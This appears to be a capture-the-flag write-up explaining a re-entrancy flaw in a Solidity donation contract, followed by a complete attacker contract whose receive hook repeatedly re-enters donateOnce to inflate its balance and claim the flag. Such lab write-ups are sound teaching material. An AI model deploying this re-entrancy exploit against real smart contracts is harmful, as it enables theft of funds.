This challenge was about re-entrancy. In donateOnce
, the call to msg.sender.call
is made before doneDonating[msg.sender]
is set to true
. If we call donation.donateOnce()
in our receive
hook, we can "enter" the donateOnce
body multiple times without being blocked by the if-statement. The later calls execute before the first one has a chance to complete.
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.7;
abstract contract CSAWDonation {
mapping(address => uint256) public balances;
mapping(address => bool) public doneDonating;
function newAccount() virtual public payable;
function donateOnce() virtual public;
function getBalance() virtual public view returns (uint256 donatorBalance);
function getFlag(bytes32 _token) virtual public;
}
contract CSAWDonate {
CSAWDonation public donation;
constructor(address donationAddress) payable {
require(msg.value >= 0.0005 ether);
donation = CSAWDonation(donationAddress);
}
receive() external payable {
if (donation.getBalance() < 30) {
donation.donateOnce();
}
}
function main() external {
donation.newAccount{value: 0.0001 ether}();
donation.donateOnce();
}
function getFlag(bytes32 _token) external {
donation.getFlag(_token);
}
}
After constructing our contract with the address of their CSAWDonation
contract, we call main
. This brings our balance to 30, preparing us to call getFlag
. Calling our pass-through getFlag
with the token number from the challenge server gets us the flag.